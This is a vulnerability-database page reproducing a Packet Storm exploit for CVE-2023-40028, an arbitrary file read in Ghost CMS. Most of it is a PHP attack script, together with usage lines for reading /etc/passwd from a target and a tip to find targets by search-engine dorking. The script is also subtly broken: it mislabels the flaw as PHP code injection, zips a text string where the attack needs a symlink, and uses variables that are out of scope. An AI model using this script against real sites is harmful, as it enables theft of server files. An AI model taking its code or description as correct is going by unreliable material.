Lucene search
K

Ghost CMS 5.59.1 Arbitrary File Read

🗓️ 04 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 218 Views

Ghost CMS 5.59.1 has a PHP code injection vulnerability allowing arbitrary file read exploitation.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Ghost
21 Dec 202401:53
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
12 Dec 202418:50
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
21 Dec 202401:53
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
7 Mar 202500:48
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
20 Jan 202522:01
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
13 Dec 202411:42
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
28 Dec 202421:17
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
23 Mar 202415:25
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
14 Apr 202516:14
githubexploit
Circl
CVE-2023-40028
7 Mar 202510:00
circl
Rows per page
=============================================================================================================================================
    | # Title     : Ghost CMS v 5.59.1 PHP Code Injection Vulnerability                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://ghost.org/                                                                                                          |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description:
    
       To exploit the CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS) vulnerability using this PHP script, you need to follow some basic steps to run the script properly. 
       These are the steps to follow for the exploit:
       1. Set up the Target
       Make sure that you have access to the Ghost CMS system that contains the CVE-2023-40028 vulnerability. 
       This vulnerability is related to uploading and reading symlink files in an insecure manner in the Ghost CMS.
       2. Install the required libraries
       Before you can successfully run the script, make sure that you have installed all the required libraries, such as the GuzzleHttp library that the script uses to send HTTP requests.
     
    [+] save code as poc.php .
    
    [+] USage : C:\www>php 2.php -t http://example.com -f /etc/passwd
    
    [+] PayLoad :
    
    <?php
    // This script is used to exploit CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS).
    
    use GuzzleHttp\Client;
    use GuzzleHttp\Exception\RequestException;
    
    // تأكد من وجود المعاملات قبل استخدامها
    $options = getopt("t:f:u:p:c:x:", ['timeout:', 'useragent::']);
    if (!isset($options['t'])) {
        echo "Error: Target URL is required\n";
        exit(1);
    }
    
    $args = [
        'url' => $options['t'],
        'file' => $options['f'] ?? null,
        'username' => $options['u'] ?? null,
        'password' => $options['p'] ?? null,
        'cookie' => $options['c'] ?? null,
        'timeout' => $options['timeout'] ?? 3,
        'useragent' => $options['useragent'] ?? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    ];
    
    // Input-checking
    if (!preg_match("/^https?:\/\//", $args['url'])) {
        $args['url'] = "http://" . $args['url'];
    }
    
    // دالة مخصصة لقراءة الملفات
    $readFile = function($fileToRead) {
        // Upload files
        $randchars = bin2hex(random_bytes(13));
        $zipfilename = "{$randchars}.zip";
        $pngfilename = "{$randchars}.png";
    
        // Create zip
        $zip = new ZipArchive();
        if ($zip->open($zipfilename, ZipArchive::CREATE) === TRUE) {
            $zip->addFromString("content/images/{$pngfilename}", $fileToRead);
            $zip->close();
        } else {
            echo "Error: Failed to create zip file\n";
            return;
        }
    
        // Upload zip
        $client = new Client();
        try {
            $response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/db", [
                'multipart' => [
                    [
                        'name'     => 'importfile',
                        'contents' => fopen($zipfilename, 'r'),
                        'filename' => $zipfilename
                    ]
                ],
                'timeout' => $args['timeout']
            ]);
            if ($response->getStatusCode() != 200) {
                echo "Error: Archive upload failed\n";
                return;
            }
    
            // Read image
            $response = $client->request('GET', $args['url'] . "/content/images/{$pngfilename}", [
                'timeout' => $args['timeout']
            ]);
            if ($response->getStatusCode() != 200) {
                echo "Error: File read failed\n";
                return;
            }
    
            $fileContents = $response->getBody()->getContents();
            echo $fileContents;
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
        }
    };
    
    // Authentication check
    $client = new Client(['timeout' => $args['timeout']]);
    
    if ($args['cookie']) {
        try {
            $response = $client->request('GET', $args['url'] . "/ghost/api/v3/admin/session/");
            if ($response->getStatusCode() == 200) {
                echo "[+] Admin session is valid.\n";
            } else {
                echo "Error: Invalid cookie\n";
                exit(1);
            }
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else if ($args['username'] && $args['password']) {
        $data = ['username' => $args['username'], 'password' => $args['password']];
        try {
            $response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/session/", [
                'json' => $data
            ]);
            if ($response->getStatusCode() == 201) {
                echo "[+] Admin session created successfully.\n";
            } else {
                echo "Error: Invalid username/password pair\n";
                exit(1);
            }
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        echo "Error: You must provide either a cookie or a username/password pair.\n";
        exit(1);
    }
    
    // Execute
    if ($args['file']) {
        $readFile($args['file']);
    } else {
        echo "Error: No file path provided\n";
        exit(1);
    }
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.14.9 - 6.5
EPSS0.77606
SSVC
218